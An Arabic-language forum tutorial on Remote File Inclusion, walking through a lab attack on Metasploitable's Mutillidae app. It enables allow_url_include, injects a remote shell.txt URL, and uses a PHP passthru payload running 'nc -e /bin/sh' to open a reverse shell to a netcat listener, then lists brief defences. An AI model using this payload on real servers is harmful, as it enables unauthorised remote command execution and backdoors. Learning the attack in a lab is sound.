- بواسطة x32x01 ||
إيه هي ثغرة RFI أصلاً؟
هجمة RFI أو (Remote File Inclusion) هي النوع التاني من هجمات الـFile inclusion. يعني ببساطة إدخال ملف عن بعد! الفرق بين LFI و RFI
- LFI: ثغرة محلية - كل التنفيذ داخل السيرفر نفسه

- RFI: ثغرة عن بعد - التنفيذ بيكون من برة السيرفر

ازاي بتنفذ هجمة RFI خطوة بخطوة
الأدوات المطلوبة
- ويب سيرفر (في لينكس)

- سيرفر مستهدف (هستخدم metasploitable)

- ملف txt فيه كود خبيث

تحضير السيرفر للهجمة
اول حاجة تدخل على السيرفر من نفس الـVirtual Machine وتروح للمسار ده: Code:
/etc/php5/cgi بعد كده هتعدل على الملف بالأمر ده:
Code:
nano php.ini اضغط ctrl+w وابحث عن كلمة
allow_url وهتظهرلك السطور دي:غير الإعداد من:
Code:
allow_url_include = Off Code:
allow_url_include = On وده بالظبط اللي بيسبب المشكلة لما المبرمجين ينسوه مفتوح من غير حمايات!
خلصان؟ اضغط
ctrl+x واختار Y ثم enter.اخر حاجة - إعادة تشغيل سيرفر الأباتشي:
Code:
sudo etc/init.d/apache2 restart بداية الهجمة الحقيقية
الخطوة الأولى: الدخول للتطبيق
هندخل على mutilidae في الـmetasploitable والرابط هيبقى شكله كده: Code:
http://192.168.1.126/mutillidae/index.php?page=text-file-viewer.php الخطوة الثانية: حقن الملف الخبيث
هتغير اسم الملف من: Code:
text-file-viewer.php Code:
http://ip:PORT/filename وفي حالتنا هتبقى كده:
Code:
http://192.168.1.113:8000/Desktop/shell.txt الكود الخبيث اللي هنحقنه
PHP:
<?
passthru("nc -e /bin/sh IP PORT")
?> شرح بسيط للكود:
passthru(): خاصية في PHP بتنفذ أوامر النظام
- `
nc -e /bin/sh IP PORT: بيبعت اتصال لـIP معين على البورت المحدد
استقبال الاتصال
قبل ما تضغط enter في المتصفح، افتح تيرمنال جديد وادخل الأمر ده: Code:
nc -lvp PORT النتيجة النهائية
بعد ما تضغط enter وتنفذ الهجمة، هتقدر:
- تتجول في السيرفر

- ترفع صلاحياتك

- تستعرض معلومات حساسة

- ترفع backdoors

- وكل اللي نفسك فيه!

نصائح مهمة للحماية
- متفتحش
allow_url_includeإلا لو محتاج جداً
- دايماً validate المدخلات من المستخدم

- استخدم whitelist للملفات المسموح بيها

- حط تحديثات أمان باستمرار

التعديل الأخير: